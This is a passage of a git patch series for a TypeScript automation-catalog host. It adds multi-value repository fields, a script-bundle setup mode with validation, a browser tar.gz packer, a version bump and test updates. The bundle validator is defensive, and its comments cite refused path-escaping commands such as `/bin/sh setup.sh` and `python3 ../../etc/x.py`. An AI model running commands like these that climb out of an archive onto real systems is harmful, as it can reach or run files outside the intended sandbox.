+ `'${entry.id}': ${missing.join(", ")}.`, + ); + } + + const payload = buildCreatePayload(entry, values); + const template = payload?.template as { config?: unknown } | undefined; + + const executable = executablePaths(bundle); + const files: TarFile[] = Object.keys(bundle.files) + .sort() + .map((name) => ({ + name, + content: contents[name], + mode: executable.has(name) ? 0o755 : 0o644, + })); + + files.push({ + name: BUNDLE_CONFIG_FILENAME, + content: `${JSON.stringify(template?.config ?? {}, null, 2)}\n`, + }); + + return packTarGzip(files); +} diff --git a/src/manifests/manifest-error-map.ts b/src/manifests/manifest-error-map.ts index a2dc4e11b1be..8dd9b0dc3093 100644 --- a/src/manifests/manifest-error-map.ts +++ b/src/manifests/manifest-error-map.ts @@ -107,6 +107,22 @@ export function normalizeServiceErrors( return []; } +/** + * The fields behind a payload path. + * + * The map is derived from a payload where every list holds a single entry, so + * a path addressing a later index names the same field the first one does. + * Reading every index as the first is what lets an error about the second + * repository of a multi-value field reach that field at all, rather than + * falling through to a form-level message that points at nothing. + */ +function fieldsAt( + path: string, + errorMap: Record, +): string[] | undefined { + return errorMap[path] ?? errorMap[path.replace(/\[\d+\]/g, "[0]")]; +} + /** Apply the derived payload-path map, falling back to a form-level error. */ export function mapServiceErrors( errors: readonly ManifestServiceError[], @@ -118,7 +134,7 @@ export function mapServiceErrors( const formErrors: string[] = []; errors.forEach(({ path, message }) => { - const fields = path ? errorMap[path] : undefined; + const fields = path ? fieldsAt(path, errorMap) : undefined; if (!fields?.length) { formErrors.push(message); return; diff --git a/src/manifests/manifest-local-validation.ts b/src/manifests/manifest-local-validation.ts index b34b54a85e02..2fa1555b8dc6 100644 --- a/src/manifests/manifest-local-validation.ts +++ b/src/manifests/manifest-local-validation.ts @@ -16,6 +16,7 @@ import type { SetupFieldOption, SetupFormField, SetupFormFields, + SetupFormValue, SetupFormValues, } from "./types"; @@ -84,12 +85,30 @@ export function getFieldOptions( return overrides[name]?.options ?? field.options ?? []; } +/** + * Every value a field holds, whether it collects one or many. + * + * Reading both shapes as a list is what keeps validation, interpolation and + * the payload mapping from branching on `multiple` at every use. + */ +export function fieldValues(value: SetupFormValue | undefined): string[] { + if (Array.isArray(value)) return value.filter((item) => item.trim() !== ""); + return value && value.trim() !== "" ? [value] : []; +} + +/** The single value a field holds, or "" for a field collecting several. */ +export function fieldText(value: SetupFormValue | undefined): string { + return typeof value === "string" ? value : ""; +} + /** Initial form state: every declared field, seeded with its declared default. */ export function getInitialFormValues(setup: SetupBlock): SetupFormValues { return Object.fromEntries( Object.entries(collectFields(setup)).map(([name, field]) => [ name, - field.default ?? "", + // A field collecting several values starts empty rather than holding one + // blank entry, so "required" means "add one" rather than "fill this in". + field.multiple ? [] : (field.default ?? ""), ]), ); } @@ -97,15 +116,29 @@ export function getInitialFormValues(setup: SetupBlock): SetupFormValues { function validateField( name: string, field: SetupFormField, - rawValue: string | undefined, + rawValue: SetupFormValue | undefined, overrides: SetupFieldOverrides, ): SetupFieldError | null { - const value = (rawValue ?? "").trim(); + const entered = fieldValues(rawValue); - if (!value) { + if (entered.length === 0) { return field.required ? { code: "required" } : null; } + // Every entry of a multi-value field answers the same field, so each is held + // to the same rules and the first failure is the one reported. + const failures = entered + .map((item) => validateValue(name, field, item.trim(), overrides)) + .filter((error): error is SetupFieldError => error !== null); + return failures[0] ?? null; +} + +function validateValue( + name: string, + field: SetupFormField, + value: string, + overrides: SetupFieldOverrides, +): SetupFieldError | null { const { minLength, maxLength, format } = field.constraints ?? {}; if (minLength !== undefined && value.length < minLength) { return { code: "minLength", length: minLength }; diff --git a/src/manifests/manifest-template.ts b/src/manifests/manifest-template.ts index f7497b60ffb7..2ddce6457944 100644 --- a/src/manifests/manifest-template.ts +++ b/src/manifests/manifest-template.ts @@ -30,10 +30,48 @@ function toText(value: unknown): string { if (typeof value === "number" || typeof value === "boolean") { return String(value); } + // A multi-value field inside a sentence reads as a list of names. + if (Array.isArray(value)) return value.map(toText).filter(Boolean).join(", "); // Missing values render as blank; callers that care show their own fallback. return ""; } +/** A template that is exactly one placeholder, or null if it is not. */ +function wholePlaceholderPath(template: string): string | null { + const match = /^\{\{([A-Za-z0-9_]+(?:\.[A-Za-z0-9_]+)*)\}\}$/.exec(template); + return match ? match[1] : null; +} + +/** A list of strings, which is the one non-string shape a form value takes. */ +function isStringList(value: unknown): value is string[] { + return ( + Array.isArray(value) && value.every((item) => typeof item === "string") + ); +} + +/** + * Substitute placeholders, keeping the resolved value's own type when the + * template is nothing but that placeholder. + * + * This is what lets a request body state `"repos": "{{form.repositories}}"` and + * get an array. Inside a sentence the same placeholder still reads as text, + * because there is nowhere for a list to go in a string. + * + * Only the shapes a form value has are kept whole. A placeholder naming + * anything else - `{{automation.setup}}` resolves to the setup block itself - + * reads as text like it does inside a sentence, so a manifest cannot state one + * value and put its own object graph into the request body. + */ +export function interpolateValue( + template: string, + scope: SetupScope, +): string | string[] { + const path = wholePlaceholderPath(template); + if (path === null) return interpolateText(template, scope); + const resolved = getByPath(scope, path); + return isStringList(resolved) ? resolved : toText(resolved); +} + /** Substitute placeholders inside a template string. */ export function interpolateText(template: string, scope: SetupScope): string { return template.replace(PLACEHOLDER_PATTERN, (_match, path: string) => diff --git a/src/manifests/manifest-validation.ts b/src/manifests/manifest-validation.ts index da14643a25f8..ddee35e29a36 100644 --- a/src/manifests/manifest-validation.ts +++ b/src/manifests/manifest-validation.ts @@ -16,13 +16,25 @@ * partial UI, because everything downstream treats its content as instructions. */ -import { SETUP_PLACEHOLDER_NAMESPACES, SETUP_VERSION } from "./types"; +import { + BUNDLE_CONFIG_FILENAME, + SETUP_PLACEHOLDER_NAMESPACES, + SETUP_VERSION, +} from "./types"; const ENTRY_ID_PATTERN = /^[a-z0-9]+(-[a-z0-9]+)*$/; const FIELD_NAME_PATTERN = /^[a-z][A-Za-z0-9]*$/; /** Copy must never be able to inject markup into the host. */ const MARKUP_PATTERN = /<[A-Za-z/!]/; /** Every `{{` must open a known namespace and close immediately. */ +const BUNDLE_VERSION_PATTERN = /^[0-9]+\.[0-9]+\.[0-9]+$/; +// The characters a command of plain words and paths is made of. No shell +// metacharacters, which the service rejects anyway and a bundle has no reason +// to need; where those words may point is `isPlainCommand`'s to say. +const BUNDLE_COMMAND_PATTERN = /^[A-Za-z0-9 ._/-]+$/; +const BUNDLE_PATH_PATTERN = /^[A-Za-z0-9._-]+(\/[A-Za-z0-9._-]+)*$/; +const BUNDLE_SOURCE_PATTERN = + /^(skills|automations)\/[A-Za-z0-9._-]+(\/[A-Za-z0-9._-]+)*$/; const UNKNOWN_PLACEHOLDER_PATTERN = new RegExp( `\\{\\{(?!(?:${SETUP_PLACEHOLDER_NAMESPACES.join("|")})\\.[A-Za-z0-9_.]+\\}\\})`, ); @@ -117,6 +129,45 @@ class SetupChecker { } } +/** + * A relative path that stays inside the archive it names. + * + * The character class alone is not enough: `.` and `..` are made of allowed + * characters, so a segment check is what actually keeps a packed file from + * climbing out of the directory it is extracted into. + */ +function isRelativePath(value: unknown, pattern: RegExp): value is string { + return ( + typeof value === "string" && + pattern.test(value) && + !value.split("/").some((segment) => segment === "." || segment === "..") + ); +} + +/** + * A command whose every word stays inside the archive it is run in. + * + * The character class is not what keeps it there: `/` and `.` are allowed + * characters, so `/bin/sh setup.sh` and `python3 ../../etc/x.py` are made of + * them and each names something outside the extracted directory. The segment + * rule packed paths are held to is what refuses those, and requiring a word at + * all is what refuses an entrypoint of nothing but spaces. + */ +function isPlainCommand(value: unknown): value is string { + if (typeof value !== "string" || !BUNDLE_COMMAND_PATTERN.test(value)) { + return false; + } + const words = value.split(" ").filter((word) => word.length > 0); + return ( + words.length > 0 && + words.every( + (word) => + !word.startsWith("/") && + !word.split("/").some((segment) => segment === ".."), + ) + ); +} + function checkRequires(check: SetupChecker, requires: unknown): void { if (!isRecord(requires)) { check.fail("requires", "must be an object"); @@ -208,6 +259,18 @@ function checkField(check: SetupChecker, field: unknown, path: string): void { if (type === "repo-picker" && provider === undefined) { check.fail(`${path}.provider`, "is required for a repository field"); } + // The host branches on this key to decide whether a field's value is a list, + // so a field declaring it anywhere else would be seeded with a list and + // rendered as a string. + if ( + field.multiple !== undefined && + (field.multiple !== true || type !== "repo-picker") + ) { + check.fail( + `${path}.multiple`, + "may only be true, and only on a repository field", + ); + } if (options !== undefined) { if (type !== "select") { @@ -321,6 +384,115 @@ function checkMessage(check: SetupChecker, message: unknown): void { } } +/** + * The script tarball a direct entry may ship. + * + * The strings here are commands and paths this host acts on, so they are held + * to a closed character set rather than the placeholder rules copy uses: an + * entrypoint with a shell metacharacter, or a packed path that escapes the + * archive, is refused here rather than by the service. + */ +function checkBundle(check: SetupChecker, bundle: unknown): void { + if (!isRecord(bundle)) { + check.fail("setup.bundle", "must be an object"); + return; + } + + if ( + typeof bundle.version !== "string" || + !BUNDLE_VERSION_PATTERN.test(bundle.version) + ) { + check.fail("setup.bundle.version", "must be a semantic version"); + } + if (!isPlainCommand(bundle.entrypoint)) { + check.fail( + "setup.bundle.entrypoint", + "must be a plain command that stays inside the archive", + ); + } + if ( + bundle.setupScript !== undefined && + !isRelativePath(bundle.setupScript, BUNDLE_PATH_PATTERN) + ) { + check.fail("setup.bundle.setupScript", "must be a relative path"); + } + if (bundle.timeout !== undefined && !isInteger(bundle.timeout, 1)) { + check.fail("setup.bundle.timeout", "must be a positive integer"); + } + + if (!isRecord(bundle.files) || Object.keys(bundle.files).length === 0) { + check.fail("setup.bundle.files", "must be a non-empty object"); + } else { + Object.entries(bundle.files).forEach(([packedPath, source]) => { + if (!isRelativePath(packedPath, BUNDLE_PATH_PATTERN)) { + check.fail(`setup.bundle.files.${packedPath}`, "is not a packed path"); + } + // The rendered config is packed under this name too, and a tar carrying + // the name twice leaves which one the script reads to whichever + // extractor unpacks it. + if (packedPath === BUNDLE_CONFIG_FILENAME) { + check.fail( + `setup.bundle.files.${packedPath}`, + "is the name the rendered config is packed under", + ); + } + if (!isRelativePath(source, BUNDLE_SOURCE_PATTERN)) { + check.fail( + `setup.bundle.files.${packedPath}`, + "must name a file under skills/ or automations/", + ); + } + }); + + // A setup script the archive does not carry is a create request the + // service accepts and the first run fails on, and it is also the only + // thing packed executable - naming an unpacked file makes that rule + // unreachable. + if ( + typeof bundle.setupScript === "string" && + !(bundle.setupScript in bundle.files) + ) { + check.fail("setup.bundle.setupScript", "must name a packed file"); + } + } + + if (!isRecord(bundle.config) || Object.keys(bundle.config).length === 0) { + check.fail("setup.bundle.config", "must be a non-empty object"); + } else { + checkBundleConfig(check, bundle.config, "setup.bundle.config"); + } +} + +/** Every string leaf of the config is a payload value: placeholders, no markup rule. */ +function checkBundleConfig( + check: SetupChecker, + node: unknown, + path: string, +): void { + if (typeof node === "string") { + check.templateValue(node, path); + return; + } + if (Array.isArray(node)) { + node.forEach((item, index) => + checkBundleConfig(check, item, `${path}[${index}]`), + ); + return; + } + if (isRecord(node)) { + Object.entries(node).forEach(([key, value]) => + checkBundleConfig(check, value, `${path}.${key}`), + ); + return; + } + if (node !== null && typeof node !== "number" && typeof node !== "boolean") { + check.fail( + path, + "must be a string, number, boolean, null, array or object", + ); + } +} + function checkMode(check: SetupChecker, setup: Rec, kinds: string[]): void { if (!isOneOf(setup.mode, SETUP_MODES)) { check.fail("setup.mode", "is not a supported mode"); @@ -328,7 +500,21 @@ function checkMode(check: SetupChecker, setup: Rec, kinds: string[]): void { } if (setup.mode === "direct") { - check.templateValue(setup.prompt, "setup.prompt"); + // A direct entry produces one of two things: a prompt, or a script bundle + // the host packs and uploads. Both would be ambiguous, neither is nothing + // to create. + const hasPrompt = setup.prompt !== undefined; + const hasBundle = setup.bundle !== undefined; + if (hasPrompt === hasBundle) { + check.fail( + "setup", + "must declare exactly one of prompt or bundle for direct setup", + ); + } else if (hasBundle) { + checkBundle(check, setup.bundle); + } else { + check.templateValue(setup.prompt, "setup.prompt"); + } // A direct entry may carry a fallback-conversation seed for deployments // that cannot run the direct path, held to the same rules as an assisted // message. @@ -360,6 +546,7 @@ function checkMode(check: SetupChecker, setup: Rec, kinds: string[]): void { checkMessage(check, setup.message); check.absent(setup, "prompt", "setup", "is only allowed for direct setup"); + check.absent(setup, "bundle", "setup", "is only allowed for direct setup"); check.absent(setup, "filter", "setup", "is only allowed for direct setup"); } diff --git a/src/manifests/types.ts b/src/manifests/types.ts index 647c05c9341c..3a6c1d954e92 100644 --- a/src/manifests/types.ts +++ b/src/manifests/types.ts @@ -52,6 +52,12 @@ export interface SetupFormField { default?: string; required: boolean; provider?: SetupGitProvider; + /** + * repo-picker only. The field collects several repositories rather than one, + * and its value is a list. A placeholder that is the whole value resolves to + * that list, so a payload can state one and get an array. + */ + multiple?: true; options?: SetupFieldOption[]; constraints?: SetupFieldConstraints; } @@ -67,12 +73,53 @@ export interface SetupForm { args: SetupFormFields; } +/** A config.json leaf: templated string, number, boolean, null, or a nesting. */ +export type SetupBundleConfigValue = + | string + | number + | boolean + | null + | SetupBundleConfigValue[] + | { [key: string]: SetupBundleConfigValue }; + +/** + * The name the rendered configuration is packed under, which is therefore a + * name a bundle's own files may not claim. Stated here rather than beside the + * packing, so admission can refuse the collision without importing it. + */ +export const BUNDLE_CONFIG_FILENAME = "config.json"; + +/** + * The script tarball a direct entry may ship instead of a prompt, for an + * automation that is deterministic machinery rather than judgement. + * + * `files` maps a path inside the archive to the repository path the extensions + * package read it from; the contents themselves come from that package's + * `getAutomationBundleFiles`, because this host has the package and not the + * repository. + */ +export interface SetupBundle { + /** Provenance recorded on the created automation, alongside the entry id. */ + version: string; + /** The command the service runs inside the extracted tarball. */ + entrypoint: string; + /** Script run once before the entrypoint. Absent when nothing to install. */ + setupScript?: string; + /** Seconds a run may take, when the service default is not enough. */ + timeout?: number; + files: Record; + /** Rendered from the form and packed as config.json. */ + config: Record; +} + export interface SetupBlock { version: typeof SETUP_VERSION; mode: SetupMode; form: SetupForm; /** direct only. What the automation is told to do. */ prompt?: string; + /** direct only, and the alternative to `prompt`. Exactly one is present. */ + bundle?: SetupBundle; /** direct only, event trigger only. Which delivered events belong to it. */ filter?: string; /** @@ -123,8 +170,15 @@ export interface SetupRequestBody { [key: string]: SetupPayloadValue; } -/** Form values are collected as strings; the payload mapping shapes them. */ -export type SetupFormValues = Record; +/** + * Form values as collected; the payload mapping shapes them. + * + * A field collecting several values holds a list. Everything else holds a + * string, including fields whose value is a number to the service - the + * payload mapping is where a value stops being what was typed. + */ +export type SetupFormValue = string | string[]; +export type SetupFormValues = Record; /** `GET /v1/capabilities` — what this deployment supports. */ export interface DeploymentCapabilities { @@ -218,6 +272,13 @@ export interface InterfaceEndpoints { validate: string; createPrompt: string; createPlugin: string; + /** + * The raw create endpoint, which a bundle entry is created through, and + * where its tarball is uploaded first. Optional: a manifest published before + * bundles existed declares neither, and is still admitted. + */ + createBundle?: string; + uploads?: string; } export type InterfaceEndpointName = keyof InterfaceEndpoints; diff --git a/src/utils/tar-gzip.ts b/src/utils/tar-gzip.ts new file mode 100644 index 000000000000..dae92f7df38e --- /dev/null +++ b/src/utils/tar-gzip.ts @@ -0,0 +1,119 @@ +/** + * Packing a handful of text files into a `.tar.gz`, in the browser. + * + * The automation service accepts a gzipped tar and nothing else, and the only + * archives built here are the few small files a catalog bundle ships, so this + * writes the original POSIX ustar format directly rather than pulling in a tar + * library: 512-byte header, name and metadata as space-padded octal, content + * padded to the next 512-byte boundary, two zero blocks to end the archive. + * Gzip is the platform's own `CompressionStream`. + * + * Deliberately not general-purpose. Names must fit ustar's 100-byte field, and + * only regular files are written - no directories, links, or long-name + * extensions - because a bundle that needed any of those would be packed by + * something that also has to unpack them. + */ + +const encoder = new TextEncoder(); + +const BLOCK_SIZE = 512; +const NAME_FIELD_SIZE = 100; +const CHECKSUM_OFFSET = 148; +const CHECKSUM_SIZE = 8; + +export interface TarFile { + /** Path inside the archive. Must fit ustar's 100-byte name field. */ + name: string; + content: string; + /** Defaults to 0o644. A setup script wants 0o755. */ + mode?: number; +} + +function header(file: TarFile, name: Uint8Array, size: number): Uint8Array { + const block = new Uint8Array(BLOCK_SIZE); + + /** Host-written ASCII: the octal fields and the format's own markers. */ + const ascii = (offset: number, value: string): void => { + for (let index = 0; index < value.length; index += 1) { + block[offset + index] = value.charCodeAt(index) & 0x7f; + } + }; + /** ustar writes numbers as octal, NUL-terminated, right-aligned with zeros. */ + const octal = (offset: number, size_: number, value: number): void => + ascii(offset, value.toString(8).padStart(size_ - 1, "0")); + + // The name is the caller's, so it is written as the bytes it encodes to + // rather than through `ascii`, whose mask would quietly turn `café.py` into + // `cafi.py`. ustar's name field is bytes, and readers take them as UTF-8. + block.set(name, 0); + octal(100, 8, file.mode ?? 0o644); + octal(108, 8, 0); // uid + octal(116, 8, 0); // gid + octal(124, 12, size); + // A fixed mtime keeps the archive byte-identical for identical inputs, so a + // re-upload of an unchanged bundle is visibly unchanged. + octal(136, 12, 0); + block[156] = "0".charCodeAt(0); // regular file + ascii(257, "ustar"); + ascii(263, "00"); + + // The checksum is computed with its own field read as spaces, then written + // into it as octal followed by NUL and a space. + block.fill(0x20, CHECKSUM_OFFSET, CHECKSUM_OFFSET + CHECKSUM_SIZE); + const sum = block.reduce((total, byte) => total + byte, 0); + ascii(CHECKSUM_OFFSET, sum.toString(8).padStart(6, "0")); + block[CHECKSUM_OFFSET + 6] = 0; + block[CHECKSUM_OFFSET + 7] = 0x20; + + return block; +} + +/** The uncompressed archive. Exported for tests; callers want `packTarGzip`. */ +export function packTar(files: readonly TarFile[]): Uint8Array { + const blocks: Uint8Array[] = []; + + for (const file of files) { + const name = encoder.encode(file.name); + if (name.length > NAME_FIELD_SIZE) { + throw new Error(`tar: name too long for a ustar header: ${file.name}`); + } + const content = encoder.encode(file.content); + blocks.push(header(file, name, content.length)); + const padded = new Uint8Array( + Math.ceil(content.length / BLOCK_SIZE) * BLOCK_SIZE, + ); + padded.set(content); + blocks.push(padded); + } + + // Two zero blocks mark the end of the archive. + blocks.push(new Uint8Array(BLOCK_SIZE * 2)); + + const total = blocks.reduce((size, block) => size + block.length, 0); + const archive = new Uint8Array(new ArrayBuffer(total)); + let offset = 0; + for (const block of blocks) { + archive.set(block, offset); + offset += block.length; + } + return archive; +} + +/** The gzipped archive, ready to POST as `application/gzip`. */ +export async function packTarGzip( + files: readonly TarFile[], +): Promise { + const tar = packTar(files); + // Streamed from the bytes rather than through a Blob: a Blob's stream() is + // absent in the jsdom test environment, and the archive is one chunk anyway. + const source = new ReadableStream({ + start(controller) { + controller.enqueue(tar); + controller.close(); + }, + }); + const compressed = new Response( + source.pipeThrough(new CompressionStream("gzip")), + ); + return new Uint8Array(await compressed.arrayBuffer()); +} From 61c18c9ae3c11fbf5e2b2302f3751fcd26ffbe4b Mon Sep 17 00:00:00 2001 From: Vasco Schiavo <115561717+VascoSch92@users.noreply.github.com> Date: Wed, 19 Aug 2026 14:47:44 +0200 Subject: [PATCH 16/32] chore: bump openhands-automation to 1.8.0 (#16712) --- config/defaults.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config/defaults.json b/config/defaults.json index a0da8ca0b481..154a8cd01d31 100644 --- a/config/defaults.json +++ b/config/defaults.json @@ -3,7 +3,7 @@ "versions": { "agentServer": "1.42.1", "agentCanvas": "1.14.0", - "automation": "1.7.1" + "automation": "1.8.0" }, "compatibility": { "minimumAgentServer": "1.28.0" From bc915cc5eb9187ea89ff53356608edceff7d3838 Mon Sep 17 00:00:00 2001 From: MarMar Labs Date: Wed, 19 Aug 2026 09:27:33 -0500 Subject: [PATCH 17/32] docs(tests): point the router example at a test that exists (#16711) --- __tests__/router.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/__tests__/router.md b/__tests__/router.md index 4214543c9243..b44490d0cf1c 100644 --- a/__tests__/router.md +++ b/__tests__/router.md @@ -218,7 +218,7 @@ expect(screen.getByTestId("settings-screen")).toBeInTheDocument(); ### Codebase Examples - [settings.test.tsx](routes/settings.test.tsx) - `createRoutesStub` with nested routes and loaders -- [home-screen.test.tsx](routes/home-screen.test.tsx) - `createRoutesStub` with navigation testing +- [root-layout.test.tsx](routes/root-layout.test.tsx) - `createRoutesStub` with `initialEntries` navigation - [chat-interface.test.tsx](components/chat/chat-interface.test.tsx) - `MemoryRouter` usage ### Official Documentation From 550fc28a486d7bc8390cfdace80357fd11eb4944 Mon Sep 17 00:00:00 2001 From: Vasco Schiavo <115561717+VascoSch92@users.noreply.github.com> Date: Wed, 19 Aug 2026 17:31:47 +0200 Subject: [PATCH 18/32] chore: bump @openhands/extensions to 0.17.0 (#16717) --- .../recommended-automations.test.tsx | 59 +++++++++++--- .../manifest/manifest-setup-dialog.test.tsx | 14 ++++ __tests__/manifests/automation-setup.test.ts | 79 +++++++++++-------- package-lock.json | 8 +- package.json | 2 +- 5 files changed, 114 insertions(+), 48 deletions(-) diff --git a/__tests__/components/automations/recommended-automations.test.tsx b/__tests__/components/automations/recommended-automations.test.tsx index 7ca2db41aa9c..b179a37c7a9b 100644 --- a/__tests__/components/automations/recommended-automations.test.tsx +++ b/__tests__/components/automations/recommended-automations.test.tsx @@ -369,7 +369,41 @@ describe("recommended automations", () => { } }); + /** + * Puts a non-MCP-installable requirement back on `jira-issue-to-pr`. + * + * It declared the HTTP-only `jira` until @openhands/extensions 0.17.0 swapped it + * for the MCP `atlassian-rovo`, and no catalog automation declares a non-MCP + * integration any more. The cases below are about what a card does with one, so + * the requirement is restored for their duration rather than the assertions + * rewritten around a property the catalog stopped having. Mirrors the + * mutate-and-restore already used for the unknown-ID case. + * + * @returns the restore function, which the caller must run in a `finally`. + */ + function requireNonMcpIntegration(): () => void { + const automation = AUTOMATION_CATALOG.find( + (item) => item.id === "jira-issue-to-pr", + )!; + const mutable = automation as RecommendedAutomation & { + requires: { integrations: Record }; + }; + const original = mutable.requires.integrations; + const { "atlassian-rovo": rovo, ...rest } = original; + // Keyed first, so the pill order and the install queue start where they did. + mutable.requires.integrations = { + jira: { + message: rovo?.message ?? "Reads the project for issues.", + }, + ...rest, + }; + return () => { + mutable.requires.integrations = original; + }; + } + it("keeps a non-MCP-installable integration visible on its card instead of dropping it", () => { + const restoreRequirement = requireNonMcpIntegration(); // SkillCardPillRow folds pills behind "+N more" when it measures zero // widths in jsdom; give it room so every pill renders. const offsetWidthDescriptor = Object.getOwnPropertyDescriptor( @@ -428,6 +462,7 @@ describe("recommended automations", () => { "RECOMMENDED_AUTOMATIONS$MISSING_CONNECT:1", ); } finally { + restoreRequirement(); if (offsetWidthDescriptor) { Object.defineProperty( HTMLElement.prototype, @@ -497,17 +532,23 @@ describe("recommended automations", () => { }); it("queues installs only for MCP-installable required integrations", async () => { - renderLauncher(); + const restoreRequirement = requireNonMcpIntegration(); - fireEvent.click( - screen.getByTestId("recommended-automation-card-jira-issue-to-pr"), - ); + try { + renderLauncher(); - // jira cannot go through the local MCP install flow, so the queue starts - // directly at github rather than failing or skipping the automation. - const modal = await screen.findByTestId("mcp-install-modal"); - expect(modal).toHaveAttribute("data-marketplace-id", "github"); - expect(mockCreateConversationMutate).not.toHaveBeenCalled(); + fireEvent.click( + screen.getByTestId("recommended-automation-card-jira-issue-to-pr"), + ); + + // jira cannot go through the local MCP install flow, so the queue starts + // directly at github rather than failing or skipping the automation. + const modal = await screen.findByTestId("mcp-install-modal"); + expect(modal).toHaveAttribute("data-marketplace-id", "github"); + expect(mockCreateConversationMutate).not.toHaveBeenCalled(); + } finally { + restoreRequirement(); + } }); it("shows a decorative plus badge on each card without toggle behavior", () => { diff --git a/__tests__/components/manifest/manifest-setup-dialog.test.tsx b/__tests__/components/manifest/manifest-setup-dialog.test.tsx index 32ca0eaf204f..fd1c0d7a0491 100644 --- a/__tests__/components/manifest/manifest-setup-dialog.test.tsx +++ b/__tests__/components/manifest/manifest-setup-dialog.test.tsx @@ -22,6 +22,7 @@ const mocks = vi.hoisted(() => ({ runAction: vi.fn(), prerequisites: vi.fn(), capabilities: vi.fn(), + missingCreateEndpoints: vi.fn<(entry: SetupEntry) => string[]>(() => []), tracking: { trackAutomationSetupOpened: vi.fn(), trackAutomationSetupValidated: vi.fn(), @@ -52,6 +53,15 @@ vi.mock("#/hooks/query/use-manifest-prerequisites", () => ({ useSetupPrerequisites: () => mocks.prerequisites(), })); +// Which endpoints an entry cannot be created without is read off the published +// interface manifest, so a real one that declares them leaves the refusal path +// unreachable. Stubbed so the case states the manifest it is about, rather than +// depending on the packaged manifest continuing not to publish them. +vi.mock("#/manifests/automation-setup", async (importOriginal) => ({ + ...(await importOriginal()), + missingCreateEndpoints: mocks.missingCreateEndpoints, +})); + vi.mock("#/manifests/manifest-actions", () => ({ useSetupAction: () => mocks.runAction, })); @@ -98,6 +108,9 @@ async function fillForm(user: ReturnType) { beforeEach(() => { vi.clearAllMocks(); + // clearAllMocks resets calls, not implementations, so the one case that + // stubs a manifest without the bundle endpoints would leak into the rest. + mocks.missingCreateEndpoints.mockReturnValue([]); mocks.prerequisites.mockReturnValue(NOTHING_TO_CONNECT); mocks.capabilities.mockReturnValue({ capabilities: null, @@ -282,6 +295,7 @@ describe("SetupDialog", () => { it("refuses an entry the published interface declares no way to create", async () => { // Arrange — a bundle entry against an interface manifest published before // bundles: neither endpoint it needs exists, and no answer supplies them. + mocks.missingCreateEndpoints.mockReturnValue(["createBundle", "uploads"]); renderDialog(BUNDLE_ENTRY); // Assert — said before the form, rather than as a Continue button that diff --git a/__tests__/manifests/automation-setup.test.ts b/__tests__/manifests/automation-setup.test.ts index f2e79fc29c4c..0b8d5f9d0c09 100644 --- a/__tests__/manifests/automation-setup.test.ts +++ b/__tests__/manifests/automation-setup.test.ts @@ -20,14 +20,16 @@ import { createSetup, createSetupEntry } from "./manifest-test-data"; // The one word of a derived name the host writes rather than reads off the // entry is translated, and the derivation runs where no translator can be -// passed in, so it reads the shared instance. Stubbed to pin the key and the -// count rather than a rendered sentence. -vi.mock("#/i18n", () => ({ - default: { - t: (key: string, options: Record) => - `${key}(${options.total})`, - }, +// passed in, so it reads the shared instance. Rendered as `en` does, because +// the fixtures pin the sentence the service was sent; the spy is what pins the +// key, so both halves stay covered. +const { translate } = vi.hoisted(() => ({ + translate: vi.fn( + (_key: string, options: Record) => + `${options.total} repositories`, + ), })); +vi.mock("#/i18n", () => ({ default: { t: translate } })); // The command a skill publishes in its own frontmatter, which the host looks // up rather than storing. Pinned so the assertion does not move when the @@ -42,9 +44,21 @@ vi.mock("@openhands/extensions/skills", () => ({ triggers: ["/incident-retro:setup"], content: "", }, + { + name: "github-repo-monitor", + description: "Watch a GitHub repository for mentions.", + triggers: ["/github-monitor:poll"], + content: "", + }, ], })); +/** The command each assisted entry's skill publishes, keyed by the entry it belongs to. */ +const SETUP_COMMANDS: Record = { + "incident-retrospective-drafter": "/incident-retro:setup", + "github-repo-monitor": "/github-monitor:poll", +}; + /** * The reference fixtures `OpenHands/extensions` publishes with its catalog. * Their request bodies were verified against the live service, and the create @@ -193,13 +207,16 @@ describe("the contract fixtures", () => { ); // Assert - // Every published fixture is a prompt entry created through the preset - // endpoint, so the deduped set collapses to that single path. + // The fixtures cover both creation paths: a prompt entry through the preset + // endpoint, and a bundle entry through the plain create it uploads to first. expect({ create: [...createPaths].sort(), preflight: [...preflightPaths], }).toEqual({ - create: [automationCreateEndpoint()], + create: [ + automationCreateEndpoint(requireEntry("github-pr-reviewer")), + automationCreateEndpoint(), + ].sort(), preflight: ["/v1/validate"], }); }); @@ -228,7 +245,7 @@ describe("buildCreatePayload", () => { // Act const payload = buildCreatePayload(entry, { - repository: "OpenHands/automation", + repositories: ["OpenHands/automation"], }); // Assert @@ -258,7 +275,10 @@ describe("buildCreatePayload", () => { }); // Assert - expect(payload?.name).toBe(`${entry.name} - SETUP$REPOSITORY_COUNT(2)`); + expect(payload?.name).toBe(`${entry.name} - 2 repositories`); + expect(translate).toHaveBeenCalledWith("SETUP$REPOSITORY_COUNT", { + total: 2, + }); }); it("sends no request body for an entry that hands setup to a conversation", () => { @@ -300,7 +320,7 @@ describe("buildAssistedMessage", () => { const seed = buildAssistedMessage(entry, formValues); // Assert - expect(seed).toBe(`/incident-retro:setup\n\n${message}`); + expect(seed).toBe(`${SETUP_COMMANDS[automationId]}\n\n${message}`); }, ); }); @@ -329,23 +349,12 @@ describe("service rejections mapped back to fields", () => { }); describe("local validation of fixture form values", () => { - it("blocks the unsafe trigger phrase before any request is made", () => { - // Arrange — the fixture names the failing field; the code is the host's - // own vocabulary, rendered through its translations. - const scenario = requireScenario( - BUNDLES[1], - "quote-in-trigger-phrase-blocked-locally", - ); - const entry = requireEntry("github-repo-monitor"); - - // Act - const errors = validateFormValues(entry.setup, scenario.formValues ?? {}); - - // Assert - expect(errors).toEqual({ - triggerPhrase: { code: "unsafeExpressionLiteral" }, - }); - }); + // The unsafe-trigger-phrase case that used to live here is gone: it belonged + // to github-repo-monitor's event trigger, whose JMESPath filter the phrase was + // interpolated into. The entry now runs on cron, so no catalog entry declares + // the `safeExpressionLiteral` constraint any more and there is no fixture to + // pin. The constraint itself is still exercised, on a synthetic setup, by + // `manifest-local-validation.test.ts`. it("passes an entirely blank assisted form, as its fixture records", () => { // Arrange @@ -365,13 +374,15 @@ describe("deriveErrorMap", () => { // Act const errorMap = deriveErrorMap(requireEntry("github-pr-reviewer")); - // Assert + // Assert — a bundle's answers reach the service through its rendered + // config rather than through a prompt, so the paths are the config's. expect(errorMap).toEqual({ - name: ["repository"], - prompt: ["triggerLabel", "repository", "reviewTone"], - "repos[0].url": ["repository"], + name: ["repositories"], "trigger.schedule": ["schedule"], "trigger.timezone": ["timezone"], + "template.config.repos": ["repositories"], + "template.config.trigger_label": ["triggerLabel"], + "template.config.review_tone": 